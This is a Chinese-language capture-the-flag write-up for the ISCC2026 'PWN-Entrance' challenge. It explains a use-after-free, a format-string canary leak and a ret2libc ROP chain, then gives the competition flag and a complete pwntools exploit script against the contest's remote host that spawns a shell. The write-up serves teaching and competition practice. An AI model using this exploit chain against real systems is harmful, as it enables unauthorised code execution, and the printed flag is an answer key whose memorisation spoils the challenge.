PWN-Entrance
ISCC2026 WriteUp 提交模板
PWN-Entrance
解题思路
1.checksec下

2.分析函数:
先看main函数



函数fun1和fun2负责access key的处理。

fun3显然了栈溢出+格式化漏洞。上面检测有canary还是可以打格式化漏洞泄露canary。

vulfi扫了一下,func2里面有悬空指针。

有UAF。和pwn1很像
利用思路:
- 申请0x48堆,写入hack,然后释放
- 再申请0x48的堆,把释放的堆申请回来
- 第二次仍然写入
hack,走到逻辑最后,设置secret=888 - 然后就是进入fun3了。

fun3里面是栈溢出+格式化漏洞,可以直接泄露canary。
利用思路:
- 填充24+1个字节,printf泄露出来
- 脚本:
leaked = io.recvuntil(b".congratulate to you", drop=True)
canary = u64(b"\x00" + leaked[25:32])
3.开始梳理利用思路
- 先走fun2把secrte改成888
- 然后fun3中先泄露canary
- 接着打ROP泄露
puts@got地址 - 返回main函数,再次进入fun3
- 直接打ret2libc
值得注意的是,实测后发现远端libc和本地不同,需要泄露后推断出远端libc偏移。

ISCC{42acc744-0b81-4961-b93e-9ae06033b98e}
Exp
from pwn import *
import os
#============== Global Config =======================
ELFpath = "./attachment-55/entrance"
LIBCpath = "./attachment-55/libc6_2.31-0ubuntu9.17_amd64.so"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10007
NOASLR = False
#=============== Init =======================
context(os="linux", arch="amd64", log_level="info")
if LOCAL:
io = process([ELFpath], env={"LD_PRELOAD": os.path.abspath(LIBCpath)}, aslr=not NOASLR)
else:
io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath)
libc = ELF(LIBCpath)
#================= Aliases =====================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)
#==================== Challenge Constants ====================
POP_RDI = 0x4018F3
RET = 0x40101A
LOCAL_OFFSETS = {
"puts": libc.sym["puts"],
"system": libc.sym["system"],
"binsh": next(libc.search(b"/bin/sh")),
}
REMOTE_OFFSETS = {
"puts": 0x6F6A0,
"system": 0x453A0,
"binsh": 0x18CE57,
}
#================ Tools ====================
def debug(io):
input()
gdb.attach(io)
def use_offsets():
return LOCAL_OFFSETS if LOCAL else REMOTE_OFFSETS
def do_token():
sla(b"Enter token length:\n", b"72")
sla(b"Please enter the access key:\n", b"hack")
def leak_canary():
sda(b"hello\n", b"A" * 25)
leaked = ru(b".congratulate to you", drop=True)
canary = u64(b"\x00" + leaked[25:32])
log.success(f"canary = {hex(canary)}")
return canary
def stage1():
do_token()
canary = leak_canary()
payload = b"A" * 24
payload += p64(canary)
payload += b"B" * 8
payload += p64(POP_RDI)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(elf.sym["main"])
sd(payload)
ru(b"It is good to see you \n")
puts_addr = u64(io.recvline().strip().ljust(8, b"\x00"))
log.success(f"puts = {hex(puts_addr)}")
return puts_addr
def stage2(libc_base):
canary = leak_canary()
offsets = use_offsets()
payload = b"A" * 24
payload += p64(canary)
payload += b"B" * 8
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(libc_base + offsets["binsh"])
payload += p64(libc_base + offsets["system"])
sd(payload)
def attack():
offsets = use_offsets()
puts_addr = stage1()
libc_base = puts_addr - offsets["puts"]
log.success(f"libc_base = {hex(libc_base)}")
stage2(libc_base)
#============ Run ========================
attack()
if not LOCAL:
sl(b"cat /flag*")
io.interactive()

浙公网安备 33010602011771号